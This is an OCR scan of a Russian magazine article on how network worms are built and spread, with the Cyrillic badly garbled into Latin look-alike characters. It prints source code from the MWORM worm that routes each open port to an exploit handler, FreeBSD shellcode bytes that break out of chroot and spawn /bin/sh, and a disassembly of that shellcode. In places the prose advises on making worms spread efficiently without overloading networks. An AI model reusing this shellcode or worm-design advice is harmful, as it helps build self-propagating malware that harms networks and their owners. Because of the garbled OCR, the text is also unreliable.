CTBYHOLLME OOHOBNEHMS.
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YCTaHOBUB COEMHEHWNE C MPEAMNonaraeMomn XepTBOW,
4EPBb JOMKEH Y6EeaMTLCA B HANMYMM HEOOXOAMMOW EMY Bep-
CUM NPOrpaMMHOro 06ecrneyeHns U NPOBEPUTb, HET N Ha
3TOM cucTeme Apyroro 4epss. B npocTteiwem criyvae ngeH-
TUhMKaumMa oCcyLLEeCTBNSETCA Yepes pykonoxartue. XepTee
MOCbINAeTCA ONpeaeNeHHOe KItOHEBOE CII0BO, BHELLHE BbIr-
napsulee Kak 6e306MaHbIN CETEBOW 3anpoc. Yepsb, ecnu
OH TONbKO TaM ecTb, MepexBaTbiBaeT NakeT, BO3BpaLlas
MHMUMaTopy o6MeHa Jpyroe KItoHeBoe CoBO, OTIIMYHOE OT
CTaHAapTHOro 0TBETA HE3APaXeHHOro cepeepa. MexaHnam
pyKonoxartusi — aTo cnabenilee 3BeHO 060POHbI HepBS, KO-
HEYHO, NPU YCNOBUU, YTO YEPBbL 6E30rOBOPOYHO JOBEPSET
CBOEMY yganeHHomy cobpaty. A BAPYr 9TO HUKaKOW He co-
6pat, a ero umuTaTop? 3TO 06CTOATENLCTBO O4EHb BECMO-
kouno Po6epta Moppuca, un gna 60pbbbl ¢ BOSMOXHbIMM
MMUTaTOPaMU YepBb ObiN CHABXEH MEXAHU3MOM, KOTOPbIN
Mo 3ambICNy JOMKEH ObiN B OOHOM U3 CEMU ClTy4aeB UrHo-
pUpoBaTh MPU3HaK YepBs, MOBTOPHO BHEAPACH B yXe 3ax-
Ba4eHHyt0 MaLumHy. OgHaKo BbI6paHHbI KOI(PDULMEHT OKa-
3ancsa Yepecyyp napaHoOMHECKUM, U yA3BUMbIE Y3Mbl MHU-
LIMPOBAsIMCb MHOTOKpPaTHO, 6YKBaJIbHO KU1LLa YepBAMMU, Cbe-
AaloWwyMmn BCE NPOLIECCOPHOE BPEMS U BCHO MPOMYCKHYHO
CMOCOBHOCTb CETEBBIX KaHaNoB. B KOHEYHOM CYHETE, BUPYC-
Haa ataka 3axnebHynacb cama cobou, U JanbHenwee pac-
MPOCTPaHEHNE YepBS CTano HEBO3MOXHBIM.

YT06bI 3TOrO HE MPOM3OLLNO, BCAKWI YEPBb [OMKEH UMETH
BHYTPEHHWI CHETYUK, YMEHBLLAKLLMIACS NPY KaXXA0M yCreLwl-
HOM pacLLensieHnn 1 Npu SOCTVKEHUN HYNS NMOAPbIBAOLLIMIA
4epBSA U3HYTPU. Tak UM NPUBIM3UTENBHO TaK YCTPOEH JTio-
601 XX1BOW OpraHW3m, B NPOTUBHOM Cry4ae Hallen 6uocde-
pe OaBHO 6bl HAcTynun KoHel. A ceTb VIHTEpHET Kak pas u
npedcTaBnseT cobon BeNUKonenHyl moaenb 6uocdepsl B
HaTypasnbHy0 BENWYMHY. M03TOMY, XOTWM NW Mbl TOFO UNK
HET, — NPOrpamMMHbIA KoL AOMKEH NOAYNHATLCA O6LEKTUBHBIM
3aKoHaM Npupofbl, He NbITasACh UATY el Hanepekop. 3To Bce
paBHO 6eCMoNnesHo.

KctaTtv rosops, aHaToMU4eckas cxema 4epBs, onucaHHas
BbILLE, HE AIBNAETCS HY OBLLENPUHSATON, HA EAUHCTBEHHOW. Mbl
BbILENMIM B YepBE [Ba OCHOBHbIX KOMMOHEHTA — FONOBY U
XBOCT. [lpyrve xe uccnepnoBaTesiy CKIOHHbLI paccMaTpuBaTh
YEPBS KaK OpraHvM3M, COCTOSLLMIA U3 NacTh, UMEHYEMON He-
nepesoguMbIM TepMrMHOM enabling exploit code (oTnupatoLmi
9KCNMOUTHLIA KOR); MexaHu3ma pacnpocTpaHeHus
(propagation mechanism) v nonesHon Harpysku (payload),
OTBETCTBEHHOW 3a BbINONHEHWE TEX WU UHbIX OECTPYKTUB-
HbIX OENCTBWA. MpUHLMNNANEHOW pasHULbl MEXZY pasnuy-
HbIMM M306PaXEHNAMMN YEPBS, Pa3yMeeTCs, HET, HO BOT Tep-
MMWHONIOrMYECKON NyTaHULbl NPEROCTATOHHO.

Jimcturr 1. MaTe rosoB uepess MWORM, nopaxawmimpye MHOXECTBO ys3-
BUMHX CEepBMCOB. llepen Hamm «mesl» 4epBs, KoTopas, COGCTBeH-
HO, BCe 5Ty T'OJIOBH M JNEPXMUT, COBEplanlias MMM BpallaTelbHEe
OBVMKEHMST ¥ NPM HeOGXOAMMOCTM MSpHTIawlas OTOHb M IJaMd. ..

switch (Iptr->h port)
{

case 80: //web hole
Handle Port 80 (sock, .
inet ntoa(sin.sin_addr),Iptr);
break;
case 21: // ftp hole

if (Handle Port 21 (sock,
inet_ntoa(sin.sin_addr),Iptr))

pthread mutex lock(&ndone mutex) ;
wuftp260_vuln(sock, J
inet ntoa(sin.sin_addr), J
Iptr);
pthread mutex unlock (éndone mutex);
} break;
case 111: //rpc hole
if (Handle Port STATUS (sock, J
inet ntoa(sin.sin_addr),Iptr))
{

pthread mutex lock(&ndone mutex) ;
// rpcSTATUS vuln(inet ntoa .
(sin.sin_addr), Iptr);
pthread mutex unlock (&ndone mutex) ;
} break;

//linux bind hole

// Check Linux86 Bind(sock, .
inet ntoa(sin.sin_addr), J
Iptr->h network);

case 53:

break;
case 515: //linux lpd hole
// Get_OS_Type(Iptr->h network, .
inet_ntoa(sin.sin_addr));
// Check lpd(sock,inet ntoa
(sin.sin_addr) ,Iptr->h network);
break;
default: break;

}

JiucTurr 2. OfHa M3 TOJIOB YepBs M ee AMBacCEeMOIEpHHN NUCTUHD
HUXe

/* break chroot and exec /bin/sh - dont use on an unbreakable
host like 4.0 */

unsigned char x86 fbsd shell chroot[] =
"\ x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80"
"\x31\xc0\x99"
"\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd"
"\x80\x54\x6a\x3d\x58\xcd\x80\x66\x68\x2e\x2e\x88\x54"
"\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58\x53"
"\x53\xcd\x80\xe2\x£7\x88\x54\x24\x01\x54\x6a\x3d\x58"
"\xcd\x80\x52\x68\x6e\x2£f\x73\x68\x44\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x89\xe2\x53\x89\xel\x52\x51\x53\x53"
"\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80";

Jiucunr 3. JinsacceMGIEpPHsN JMCTHUHT OFHOM U3 I'OJNOB ¥epBs MWORM

.data:0804F7E0 x86 fbsd shell chroot:

.data:0804F7E0Q xor eax, eax
.data:0804F7E2 push eax
.data:0804F7E3 push eax
.data:0804F7E4 push  eax
.data:0804F7E5 mov al, 7Eh
; LINUX - sys_ sigprocmask

.data:0804F7E7 int 80h
.data:0804F7E9 xor eax, eax
.data:0804F7EB cdgq
.data:0804F7EC push  68h
.data:0804F7EE mov ebx, esp
.data:0804F7F0 push eax
.data:0804F7F1 push  ebx
.data:0804F7F2 push  ebx
.data:0804F7F3 mov al, 88h
; LINUX - sys_personality

.data:0804F7F5 int 80h
.data:0804F7F7 push esp
.data:0804F7F8 push  3Dh
.data:0804F7FA pop eax

; LINUX - sys_chroot

.data:0804F7FB int 80h
.data:0804F7FD push  small 2E2Eh
.data:0804F801 mov [espt2], dl
.data:0804F805 mov ebx, esp
.data:0804F807 push  0Ch
.data:0804F809 pop ecx
.data:0804F80A mov ebx, esp
.data:0804F80C

; CODE XREF: .data:0804F813[] j
.data:0804F80C loc_804F80C:
.data:0804F80C push  0Ch
.data:0804F80E pop eax
.data:0804F80F push  ebx
.data:0804F810 push  ebx

CHCTEMHEIAAMUHUCTPATOD
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; LINUX - sys chdir
.data:0804F811 int 80h

.data:0804F813 loop loc_804F80C
.data:0804F815 mov [espt+l], dl
.data:0804F819 push  esp
.data:0804F81A push  3Dh
.data:0804F81C pop eax

; LINUX - sys chroot
.data:0804F81D int 80h

.data:0804F81F push  edx
.data:0804F820 push  68732F6Eh
.data:0804F825 inc esp
.data:0804F826 push  6E69622Fh
.data:0804F82B mov ebx, esp
.data:0804F82D push  edx
.data:0804F82E mov edx, esp
.data:0804F830 push  ebx
.data:0804F831 mov ecx, esp
.data:0804F833 push  edx
.data:0804F834 push  ecx
.data:0804F835 push  ebx
.data:0804F836 push  ebx
.data:0804F837 push  3Bh
.data:0804F839 pop eax

; LINUX - sys olduname

.data:0804F83a int 80h
.data:0804F83C Xor eax, eax
.data:0804F83E inc al

; LINUX - sys exit

.data:0804F840 int 80h

bopb6a 3a TeppuTOPMIO HA BbXXUBAHUE
— Kakov BEeN4mHb! TEPPUTOPUIO [OIKEH
KOHTPONMPOBATL Kbl YepBb?
— OT0 3aBUCUT OT pasmMepoB YEPBSI.
®peHk XepbepT, «[jioHa»
Kun3Hb YepBs — 3TO HenpepbiBHas 60pb6a 3a CBOE CYLLEeCTBO-
BaHue. OpgHaxapl nonae B VHTepHeT, yepBb CTaNK1BaETCA C
npo6nemamu 3axsata CUCTEMHbIX PECYPCOB (MPONMTaHws), oc-
BOEHMS HOBbIX TEPPUTOPUIA (MONCKa NOAXOAALLMX Y3/I0B Ans
3apaxeHust), 06OPOHbI OT XULLIHWKOB U MPOYMX «MIIEKONUTaL0-
x> (6paHaMayapoB, aHTUBUPYCOB, aAMWUHUCTPATOPOB U T. A.),
MonyTHO peLuas 3afJady BHYTPUBWUOOBOW KOHKYpeHUmn. B aTon
arpeccviBHOM Cpefe BbDKVBAET JULLL XOPOLLO NPOAYMaHHbIN 1
TLUATENbHO CrIPOEKTUPOBAHHbI BEICOKOMHTENSIEKTYabHbIA KO,
MNopasnstoLiee GOMbLLMHCTBO YEPBEN YMUPAET BCKOpe rocre
POXAEHWS, U NULWb CYATAHHBIM BUPYCaM YAAETCs BCbIXHYTb
KpynHon anuaemuei. MNMoyvemy? 13 WwkonbHOro Kypea éuonornm
HaM WM3BECTHO, YTO 6e3yOepXHbIN POCT YMCIIEHHOCTM NOGON
nonynsauumn Bcerpa 3akaH4mBaeTcs ee rmbenslo, Bedb nurareris-
Hble pecypcbl OTHIOObL He 6e3rpaHuyHbl. [pegen YncneHHoCTu
YyepBer eCTeCTBEHHbIM 06Pa30M pPerynmpyeTcst NPonycKHOM cro-
COBHOCTBLIO MHTEPHET-KAHANO0B, EMKOCTbIO ONEPATVUBHOM/ ONCKO-

BOW NamMaATV U BbICTPOOENCTBMEM MPOLIECCOPOB.

BnusiHne dpaktopa CKOPOCTU pa3MHOXEHUS Ha XXU3HECTIO-
COBGHOCTL BMpYCa 1UCCnefoBanoch eLle B MMOHEPCKMX pabo-
Tax Panbda Byprepa. Yxe Torga 66110 CHO, 4TO B NMPUHLIMME
BMPYC MOXET 3apasuTb BCce (paisibl NOKansHOW MaLliuHbl 3a
OfVH NPUCECT (NPO CETEBbIX YEPBEWA, B CUIY OTCYTCTBWSA NOC-
nepgHWX, peyb Torga nonpocTy He LWna), O4HAKo 3TO CAeNnano
6bl (haKT 3apaxeHns CULLKOM 3aMeTHbIM, U Toraa cyab6a
BUpYyCa okasanachk 6bl npefpeLLeHa (naHm4eckoe opmartu-
poBaHWe XeCTKOro AucKa «Ha HW3KOM YpPOBHe», MNosiHas ne-
peycTaHoBKa BCEro NporpamMMHOro obecneyeHusi, Hy, B 06-
LeM, Bbl MEHSI MOHMMaeTe). Kpome TOro, Ha 4yBCTBEHHOM
YPOBHE TakoW BUPYC MOMPOCTY HEMHTEPECEH.

PaccmoTpum kpaiiHui cnyyai. [ycTb HaLw BUpYC coBep-
LIaeT eQVHCTBEHHbIN akT 3apaxeHus B CBOEN XuU3HW. Toraa
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POCT YMCNEHHOCTM NONynsAuun 6yneT HOCUTL NIMHENMHBIN Xa-
pakTep, npoJosmKalrLwuinca 0o Tex nop, noka sarpyska cuc-
TeMbl He NMPEBLICUT HEKOTOPYIO KPUTUHECKYIO BEJTUHKHY, NOC-
e KOTOPOW CKOPOCTb Pa3MHOXEHUS BUPYCaA HAYHET HEYKITOH-
HO napatb. B KOHLEe KOHLOB BUPYC COXPET BCe npoueccop-
Hble Pecypchbl, BCIO OMepaTuBHYIO U BCIO OUCKOBYIO NamaTh,
rnocrne 4ero cUcTemMa OKOHYaTesIbHO BCTAHET U NpoLiece pas-
MHOXEeHWs npekpatutcs. Bnpoyem, Ha npakTvke Jo 3TOro
[eno o6bI4HO He [OXOAUT, U BrlafeneL KoMrbioTepa Croxea-
TbIBAETCH Kyfa paHbLLe.

lNepunopg, NpoTeKatoLLnii OT MOMEHTa NEPBOro 3apaxeHus
[0 MOMEHTa 06Hapy>XeHus BUpyca No HETUMUYHOW aKTUBHO-
CTW CUCTEMBI, YCNOBUMCS Ha3blBaTb JIATEHTHLIM NEPUOAOM
pasMHoOXeHns YepBsi. Hem Gonbluee KoNM4ecTBo y3nos 6y-
[eT 3apaxeHo B TeYEHMe 3TOro BPeMeHu, TeM 60rbLUIMe LLaH-
Cbl Ha BbDXMBaHWE UMeeT YepBb. Bblibop npaBuibHOM CTpa-
TermM pa3MHOXEHUs Ha caMoM [iene o4eHb BaxeH. [MpuunHa
BbIMVUpPaHUs 6ONBLUMHCTBA YepBeN Kak pas 1 3aKo4aeTcs B
HenpogyMaHHOM pa3MHOXEHWW. Hallle BCero NCXOAHLIA YepBb
paciiennseTcs Ha fBa. [isa HOBbIX YepBs, roTOBbLIX K Aarb-
HeMwemy pasMHOXeHW0. B cnegyrolemM nokoneHun aTmx
yepsei ByIeT yXe YeTbipe, 3aTeM BOCEMb, MOTOM LUECTHAA-
uaTb, TpMALATL [Ba U TaK fjanee no sospacrawoLlent... Ha-
rNagHON (PU3NMYECKOW [IEMOHCTPALIMEN STOrO npoLecca chny-
XWT aToMHas 6oMba. U B TOM, U B pyroM cny4ae mMbl UMeeM
[eno ¢ LenHon peakuuen, OTANYUTENBHOM OCOBEHHOCTLIO
KOTOPOW CNYXUT ee B3pbIBHOM XapakTep. Ha nepsbix nopax
yBeNIM4eHne YUCIIEHHOCTU BUPYCHOM NOMyNALMY NponcxoamT
Tak MefOneHHo, 4TO UM MOXHO MOJSIHOCTLIO NpeHebpedb, HO
npy OOCTUXEHUWN HEKOTOPOW KPUTUYECKOW MaccChl MPOUCXO-
[OMT cBOe0o6pasHbii B3pbIB, U falnbHellee pasMHOXeHne
npoTeKkaeT naBMHOO6Pa3HO. Yepes KOPOTKMIA OTPe30K Bpe-
MEHW — OHW WUIK faXe CYMTaHHbIe Yachbl — YepBb ropaxaeTt
npakTU4eckun BCe YA3BUMbIE Y3kl CETU, MOCIIE Yero ero cy-
LLIeCTBOBaHME CTAaHOBUTCA 6ECCMbICTIEHHbIM, U OH YMUPAET,
pasfasBneHHbIn pykaMu HelobpbIX aaMUHUCTPATOpOB, pas6y-
XEHHbIX YacoB 3akK B MATb yTpa (a Yepsu, B Cuny Bcenna-
HETHOM opraHu3auuu MHTepHEeT, MEKT TEHLAEHUMIO COBEp-
LwaTh ataku B caMoe HeyfobHoe C (PU31ONOrM4ecKom TOUKU
3peHns Bpems).

Npun ycnosuu, 4To BoIGOP IP-appeca 3apaxaemon xepT-
Bbl MPOMCX0AMUT MO 6ONee nnm MeHee Cny4aHOMY 3aKOHY (a
6ObLUMHCTBO YEPBEN PacnpoCTPaHATCA UMEHHO Tak), Nno
Mepe HacbILLEHWUs CETU YepBeEM CKOPOCTb ero pacnpocTpa-
HeHWsl 6YAeT HeYKNOHHO CHUXAaTbCS 1 BOBCE HE NMOTOMY, YTO
MarucTpasbHble KaHasbl OKaXyTcs neperpyxeHHsiMu! Nornpo-
6yWiTe creHepupoBaTb NOCNEN0BATENBHOCTb CyYanlHbIX 6anT
W NofCcYUTanTe KONMMYECTBO LUIaros, Tpebyowmxes ans nosn-
HOrO NOKPbITUS Beew obnacTty ot 00h go FFh. O4eBungHo, 4To
3a 100h waroB ocyLecTBUTb 3alyMaHHOE HaM HU 3a 4TO He
ypactcsi. Ecnv Tonbko Bbl He 6yfeTe XynbHU4aTb, OfHU U Te
Xe 6anTbl 6yayT BbinagaTb MHOMOKPATHO, B TO BPeMs Kak
[pyrue octaHyTcsl He BbinaswmmMmn HU pasy! U yem 6onblue
6anT 6yOeT NoKpLITO, TEM YaLLe CTaHyT BCTpeyaTsCs NOBTOP-
Hble BbinageHuna! AHanormyHbIM 06pa3om feno 06CToUT 1 ¢
pa3MHOXeHWeM Bupyca. Ha puHanbHOM cTagumn pasmMHoOXe-
HWA NnonyumLLa YepBen Bce Yalle 6yayT CTy4aTbCsl B yYXKe 3ax-
BaYeHHbIe KOMMbIOTEPbI, M r’1ra6anTsl CreHepupPOBaHHOTO UMK
Tpadmka OKaxyTCsi CreHepupoBaHHLIMU BMYCTYIO.
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MexaHu3mbl pacnpocTpaHeHus YepBeii

Oblpamy NPUHATO Ha3blBaTb JIOFMYECKME OLWNOKKN B Mpo-
rpaMMHOM obecreyeHun, B pe3ynsrate KOTOpbIX XepTsa
npuobpeTaeT BO3MOXHOCTb MHTEPMNPETMPOBATL UCXOAHbIE
LaHHble KaK UCNONHAEeMbIN Ko, Hanbonee 4acto BCTpeya-
t0TCA ObIpbl ABYX CMEAYOLWMX TUMOB: OLIMOKM NepenosiHe-
Husa 6ydhepa (buffer overflow) n own6kM bunbTpaLmm HTEp-
MOAALMOHHBIX CUMBOMOB MM CUMBOJIOB-CNELMMKATOPOB.

W xoTs TeopeTukn 0T 6€30NacCHOCTN YNOPHO OTMaxmBea-
0TCA OT Ablp KaK OT JOCafHbIX Cly4anHOCTEN, HapyLua-
LLMX CTPONHOCTb BO3AYLLUHbIX 3aMKOB a6CTPAKTHbIX 3aLLUT-
HbIX CUCTEM, Aaxe NOBEPXHOCTHLIN aHanua cutyaumm no-
KasblBaeT, YTO OLUMOKWM MPOEKTMPOBAHUA U peanunsauuu
HOCAT Cyry60 3aKOHOMEPHbIV XapakTep, yaa4yHo 06birpaH-
HbIA Xakepamu B nocnosuue: «[porpamm 6e3 oLnboK He
6biBaeT. bbiBaeT — nnoxo mckanu». OCO6EHHO KOBapHbI
OLUMOKM MepenosiHEHNS], BbI3bIBAEMbIE (MU JaXe MOXHO
cKasaTb — MPOBOLMPYEMbIE) MOEONOrNEN FOCNOACTBYOLLNX
fI3bIKOB M Mapagurm nporpammupoBaHus. MNogpo6Hee 06
3TOM Mbl MOrOBOPUM B CNeAyloLen cTaTbe 3TOr0 LUMKNa;
MoKa e OTMETUM, YTO HWU OfHa KOMMep4yeckasi nporpam-
Ma, HacyuTblBaoLlasa 6onee fecAaTu-cTa ThiCAY CTPOK MUC-
XO[HOro TekcTa, He cMoryia usbexarb OWKnboK nepenor-
HeHus. Hepes OWMOKM NepenonHeHns pacnpocTpaHaInch
Yepsb Moppuca, Linux.Ramen, MWorm, Code Red,
Slapper, Slammer, Love San n orpoMHoe MHOXeCTBO OC-
TanbHbIX MEHEE U3BECTHbIX BUPYCOB.

Cnuncok cBexux Oblp perynsapHo ny6nvkyeTcs Ha psge
CauToB, NOCBALLEHHbLIX MHOPMaLMOHHON 6€30MacHOCTH
(KpynHeWLWwmMn 13 Kotopbix — www.bugtrag.org) n Ha Be6-
CTpaHuyKax oTaenbHbIX XakepoBs. 3annaTku Ha Ablpbl 06bIY-
HO BBLIXOLAT CMYCTS HEQENO UMK Jaxe MecsL nocse rnosis-
NEHWs OTKPbITbIX Ny6AUKALMA, OOQHAKO B HEKOTOPbLIX CIy-
Yyasax BbIXO 3anyaTku orepexaer nybnukauuio, T.K. rnpa-
BUJ1a XOPOLLEro ToOHa AMKTYIOT BO34EPXMBATLCS OT pacnpo-
CTpaHeHus HdopMaumm BNIOTbL A0 TOro, noka npoTuBO-
favMe He 6yneTt HamaeHo. PasymeeTtcs, Bupyconucatenu
BeyT MOMCK Ablp U CaMOCTOATENbLHO, OAHAKO 3a BCE Bpe-
MS cyllecTBoBaHus VIHTepHeTa H1 OfHOW AbIpbl UMW HaW-
LEHO He 6bII10.

Cnabble naponu — 3T0 HacTosLMIA 6MY BCAKON CUCTE-
Mbl 6e3onacHocTu. MomHuUTe aHekpoT: «Ckaxwu naposb!
Maponb!»? LLyTKK WyTKaMm, HO Naposib TMNa «password»
HEe TakK yX u opurmHaneH. CKonbKo nosnb3oBatenen fose-
PAOT 3aLUMTY CUCTEMbI MONYJISPHLIM COBAPHLIM C/IOBaM
(B ctune Cynep-Hunass, LWsapueHerrep-Pas6yLiesancs
LWeapueHerrep-NpogonmxaeT-bywesats) unm Boibuparot
naposb, NpeacTaBnaLLMiA CO60M cnerka MognuLLIMpoBaH-
HbIA NIOTUH (HanpuMep, NIOTUH C OAHOW-ABYMS LUmMdpamm Ha
KoHue)? lNpo kopoTkMe maponu, maponu, CocToslime w3
OJHWX LUMdp, U Maposm, NOMHOCTLIO CoBMnagaroLune ¢ noru-
HOM, Mbl BOOGLLE ymMONYMM. A Befb HEMANoe Konum4ecTso
cucteM BoobLle He umetoT Hukakoro napons! CyliecTsy-
0T AaXxe crnewuunanbHble NporpaMmbl 4sis NoUCKa OTKPbITbIX
(nn cnabo 3alluLleHHbIX) CEeTEBbIX PecypCoB, NbBUHAS
[0N5 KOTOPbIX MPUXOOMTCA Ha NOKanbHble CETU MENKUX
bupM 1 rocynapCTBEHHbIX opraHu3auunini. B cuny orpaHu-
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YeHHbIX (PMHAHCOB cofepXaTtb 6onee UnnM MeHee KBanu-
(PMUMPOBAHHOIO agMUHUCTPATOPa OHU HE MOTYT U O HEOO-
XOOMMOCTM Bbl6Opa HaOeXHbIX naposien, Cyas no BCEMY,
Aaxe 1 He JorafplBalTCcs (& MOXeT ObITb, MPOCTO NEHAT-
Cs — KTO 3HaerT).

epBbIM (2 HA CErofHALUHWIA AeHb U NOCedHUM) Yep-
BEM, UCMOJIBb3YIOWUM MeXaHu3Mm nogéopa naponen, 61 u
ocTtaetcs Bupyc Moppuca, yaa4Ho KOMOUHUPYIOLLMIA CrioBap-
HYI0 ataKy C cepven TUMOBbIX TPaHC(OopPMaLn UMEHN Xep-
TBbl (MCXOZHOE MM NOMb30BaTeNs, YABOEHHOE UMS MOMb30-
BaTens, UMs nonb3oBartens, 3anncaHHoe 3afoM Hanepeg,
“MS Nosib3oBaTens, HabpaHHOe B BEPXHEM/HWKHEM PErncT-
pe nT. A.). Ml ata cTparterus ycnewwHo cpaéoranal

Yepeb Nimda ncnofnb3yetr HamMHOro 6onee NpUMMUTUB-
HbIA MEXaHW3M pacrpoCTPaHEHUs, MPOHUKasA NULLb B He-
3anaposieHHble CUCTEMbI, YTO YOEePXUBAET ero oT 6e3yaep-
XHOr0 pacrnpocTpaHeHusl, MOCKOSIbKY MyCTble Maposv 3a-
HUMAaIOT HE3HAYUTENLHBIA MPOLEHT OT BCEX crabbix napo-
new soobuue.

KoHeyHo, co BpemeH Mopprca MHOroe M3MeHUII0Ch, U B
MUpe HabnofaeTcs TeHAEHUUS K YCNOXHEHMIO naposien u
BbI6OPY ClIyYanHbIX, 6ECCMBICTIEHHBIX MOCNeA0BaTesIbHOC-
Tel. Ho BMecTe ¢ 9TUM pacTeT M YACMO Nonb30oBaTenen, —
afMWHUCTPATOPbI OKa3bIBAKTCA NPOCTO HE B COCTOSIHUM 3a
BCEMM YCIeauTb U MPOKOHTPOIMPOBATL NPaBUIbHOCTL Bbl-
6opa napons. [MosToMy ataka no coBapro No-NpPexHeMy oc-
TaeTCcs akTyasnbHOW Yyrpo30Mu.

OTKpbITbIE CUCTEMBI: OTKPbITbIMW Mbl 6yAemM Ha3biBaTb
Takue CUCTEMbI, KOTOPble 6eCnpPensTCTBEHHO MO3BOJIAT
BCEM XEmNawLUMM UCMOMNHATL HA CepBepe CBOM COOCTBEH-
HbI KOf. K 3TOW KaTteropuu npevmyLLecTBEHHO OTHOCATCS
cnyx6bl 6ecnnaTHOro0 XOCTUHra, NpefocTaBnsoLLme telnet,
perl n BO3MOXHOCTb ycTaHOBKM mcxopawmx TCP-coeguHe-
Hui. CyLlecTByeT rMNoTeTMYECKUIA BUPYC, KOTOPLIA nopa-
XaeT Takme CUCTEMbI OOHY 32 OOQHOM U UCMOJb3YEeT UX B Ka-
YyecTBe nnaugapma aJis atakv Ha gpyrue CUCTeMb.

B otnnume oT y3n10B, 3aLLMLLEHHbIX cnabbiMu (OTCYTCTBY-
tOLLMMM) MaponsmMu, Bnagesiel, OTKPbITON CUCTEMbI YMbILLI-
NEHHO NpefoCTaBNSET BCEM XenawLliMMm CBOOGOAHbLIN O0C-
TyM, NycKam n TpebyoLmniA py4HON perncTpaummn, KoTopyio,
KCTaTtu ckasatb, MOXHO 1 aBToMaTu3npoBatb. Bripouem, Hu
O[VH M3 N3BECTHBIX HAYKE YEPBEWN HE UCTIONb3YET 3TOro Me-
XaHu3ma, rnoaTomy fasibHenLwni pa3rosop NpeacTaBnseTcs
COBEPLUEHHO 6ecrnpeaMEeTHBIM.

Yenoseyeckuin hakTop: 0 NPeCcnoByTOM 4€/I0BEHECKOM
thakTope MOXHO roBOpuTb MHOr0. Ho He 6yay. 3T0 Boo6LLE
He TexHn4yeckas, a cyrybo opraHusaumoHHas npobnema. Kak
6bl He cTapanacb Microsoft  KOHKYpUpYHOLLME C HEO KOM-
MaHuy 3aLUMTMTB MOJIb30BATENS OT Ce65 Camoro, He ype3as
Mpy 3TOM (PYHKLIMOHANBLHOCTL CUCTEMBI 40 YPOBHS 6bITOBO-
ro BUOEOMarHMTO(PoHa, eLLe HUKOMY 3TO He yaanock. U Hu-
Korga He ypactcs. [Nackasb, M3BECTHBIN TEM, YTO HE NO3BO-
NSET BaM BbICTPENUTL Ce6e B HOTY, 3HAYUTENBbHO YCTynaeT
Mo NONyNnspHOCTM A3bikaM Cu 1 Cu++, Tem, KOTOpbIE OTCTPE-
NuBaT BaM 06e HOrM BMECTE C rOSsI0BOM B mpupady, gaxe
Korga Bbl 3TOr0 He NiaHupoBany.

LilZagMUHUCTPaTOP



[ns peweHuns aTon npobnembl Hepeb Moppuca ncnons-
30Ban HECKOJIbKO HE3AaBUCHMbIX MEXAHW3MOB.

Bo-nepBbix, U3 Kaxaon 3apaeHHOoM MaLUWHbI OH U3Bne-
Kan CnncoK fOBEPEHHbIX Y3N10B, COAepXaLLuxcs B hannax
/etc/hosts.equiv n/.rhosts, a Takxe cannei .forward, cogep-
Xalme agpeca 3neKTPOHHOM NoYThbl. To eCThb LeneBble ap-
peca yxe He 6binn cnyvanHbiMmM — 370 pas. OTnagano 60sb-
LLIO€ KOJIMHECTBO HECYLLIECTBYIOLLMX Y3NI0B — 3TO ABa. Konu-
4ECTBO MOMNbITOK MOBTOPHOIO MH(IMLMPOBAHMA CBOAUNOCH K
pPa3yMHOMY MUHUMYMY — W 3TO Tpu. MoJo6HYI0 TaKTUKY UC-
NONb3YT MHOTME NOYTOBbLIE YepPBM, obpaLlatomecs K ag-
pecHoi kHure Outlook Express. U aTa TakTMKa 04eHb He-
nnoxo paéoTtaer!

Ha cartite kopnopauun Symantec umeetcs no6onsiTHas
ytunuta — VBSim (Virus and Worm Simulation System), BbI-
NONHSIOLLAA CPaBHUTENbHBIN aHann3 apeKTUBHOCTM Hep-
BEW Pa3nnYHbIX TUMOB.

Bo-BTOpbIX, pasnuyHble ak3emnnsapbl Yepss Moppuca
nepuoanyeckn 06MeHnBanMCb Apyr ¢ APYroM Crmnckom yxe
3apaxeHHbIX Y3/10B, XOAWUTb Ha KOTOPbIE HE HYXHO.

KoHeYHO, Hann4me Kakux 6bl TO Hi 6bINO CPEACTB MEX-
BMPYCHOWM CMHXPOHM3aLMM CYLLLECTBEHHO YBEIMYMBAET Ce-
TEBOW Tpadhmk, OLHAKO eCcriv K 3TOMYy BONPOCY NOJONTU C
YMOM, TO Neperpy3ky CeTM MOXHO JIErKO NpefoTBpaTuTh.
3apasuB BCe yA3BMMbIE Y3Mbl, YepBb BNadeT B ry6oKyio
CNSAYKY, YMEHbLUASA CBOK aKTUBHOCTb O MUHUMYyMa. MoXx-
HO MOWTW W Janblue, BbIAENMB KaXA0MY M3 YepBeii onpe-
LEeNeHHOe NpocTpaHCcTBO IP-agpecoB ans 3apaxeHus, aB-
TOMaTU4eCKM HacnefyeMoe HOBOPOXAEHHbLIM MOTOMCTBOM.
Torpa npouecc 3apaxeHus ceTu 3aiMeT PEKOPAHO KOPOT-
Koe Bpems, U Npu 3TOM HU OAWH K3 IP-agpecoB He 6ygeT
npoBepeH ABaxAabl. Micyepnae 3anac IP-agpecos, 4epBb
06paTWUT CBOM BHYTPEHHWNE CHETHMKM B UCXOLHOE MONOXE-
HWe, BbI3biBas BTOPYIO BOMHY 3apaXeHus. HacTb paHee WH-
hULMPOBaHHbIX Y3II0B K 3TOMY MOMEHTY YyXe 6yaeT ucue-
neHa (Ho He 3anartaHa), a 4acTb MOXeT 6bITb UHPULMPO-
BaHa NOBTOPHO.

Kak 6bl TaM HUW 6bINI0, FPAMOTHO CNPOEKTUPOBAHHLIN
4epBb BbI3bIBaTb NEPErPY3KY CETW HE OOSIKEH, U NULLb A0-
cafHble NPOrpaMMUCTCKUE OLLIMBKM MELLAIOT NPUBECTM 3TOT
nnaH B UCNONHEHWE. BHELLHE Takon YepPBb MOXET NOKa3aTb-
sl BNosHe 6e30nacHbIM, 1 nogaenstoLiee 60MbLIMHCTBO af-
MWUHMUCTPATOPOB CKOPEE BCErO NPOUITHOPUPYIOT COOBLLEHUS
06 yrpo3se (160 HernacHoe NpaBuIo NPEAMNUCLIBAET He TPO-
ratb CMCTeMy, NoKa oHa pa6oTaeT). [Oblpbl OCTaHyTCS He-
3anataHHbIMU W... B OOWH NPEKPaCHbLIA MOMEHT BCEMMP-
Has CeTb PyXHeT.

B aTOM cBeTe BecbMa nokasaresieH npoLecc pacnpocT-
